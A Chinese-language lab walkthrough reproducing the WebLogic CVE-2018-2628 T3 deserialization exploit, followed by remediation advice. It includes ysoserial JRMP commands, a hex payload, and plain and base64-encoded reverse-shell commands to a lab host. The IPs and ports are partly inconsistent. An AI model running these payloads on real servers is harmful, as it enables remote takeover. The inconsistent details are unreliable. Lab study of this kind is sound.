漏洞概述
在 WebLogic
里,攻击者利用其他rmi【远程方法调用】绕过weblogic
黑名单限制,然后在将加载的内容利用readObject
解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3
服务触发,所有开放weblogic
控制台7001
端口,默认会开启T3
服务,攻击者发送构造好的T3
协议数据,就可以获取目标服务器的权限。
影响版本
与weblogic
的任意文件上传漏洞影响版本相同:
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
漏洞复现
靶机:192.168.11.128(vulhub)
攻击机:192.168.11.131
-
启动环境
-
访问
http://192.168.11.128:7001/
,出现此页面说明启动成功。
3. 使用namp进行扫描,发现开启了T3协议。
nmap -n -v -p 7001,7002 192.168.11.128 --script=weblogic-t3-info
- 在攻击机中下载CVE-2018-2628检测漏洞脚本,将url.txt的内容修改如下:
- 设置所要检测的ip, 并运行脚本
python CVE-2018-2628-MultiThreading.py
其中可能会遇到以下问题
这是由于这个脚本需要在python2环境下运行,参照这篇文章 kali切换python版本
- 出现
is vul CVE-2018-2628
说明漏洞存在,接下来我们开始复现
- 启动
JRMP Server
,目的是为了使得触发漏洞后weblogic
所在服务器可以远程调用执行特定的程序。他的作用就是一台存放payload的服务器,当我们攻击了存在漏洞的靶机后,靶机会到这台JRMP
服务器去找这个payload
执行命令。
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
#[listen port]是需要JRMP Server监听的端口,这个端口的作用是为了让目的主机上weblogic进行远程调用kali方法时,可以连接到我们自己的主机
#[command]为要执行的命令
- 以下我们执行反弹
shell
命令,我们需要注意需要对执行的命令进行需要进行一次编码,因为Runtime.getRuntime().exec()
中不能使用管道符等bash
需要的方法
bash -i >& /dev/tcp/192.168.11.131/8888 0>&1
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21
'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExLjEyOC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}'
最后一行出现 * Opening JRMP listener on 8888
,说明JRMP Server
正在监听8888
端口。
- 制造
payload
,在kali上打开一个新终端,使用ysoserial-0.1-cve-2018-2628-all.jar
工具生成一个payload
,因为要实现weblogic
远程调用kali
方法,所以就需要知道攻击机的ip
与端口。
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.11.131:8888 | xxd -p | tr -d $'\n' && echo
生成的payload
如下:
aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f727872001
76a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a61
76612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612
e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000
000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c6
1331e03000078707737000a556e6963617374526566000e3139322e3136382e31312e313238000022b8ffffff
ff835fba0600000000000000000000000000000078
复制结果,替换weblogic_poc.py
中的payload
:
并修改目标IP:
- 在攻击机中监听端口1234
nc -vnlp 1234
- 执行脚本
weblogic_poc.py
- 反弹shell成功
由于我在操作过程中弄混了靶机和攻击机,导致靶机的ip端口被占用无法在本地环境打开,所以最后监听端口的步骤来自于参考文章。
漏洞修复
- 官方补丁:T3协议漏洞加固的话可以打上官方最新的补丁,可使用正版软件许可账户登录
https://support.oracle.com
,下载最新补丁。 - 手工修复:控制T3协议的访问权限来临时阻断漏洞利用。
- 禁用T3协议
- 禁止T3端口对外开放, 或者限制可访问T3端口的IP来源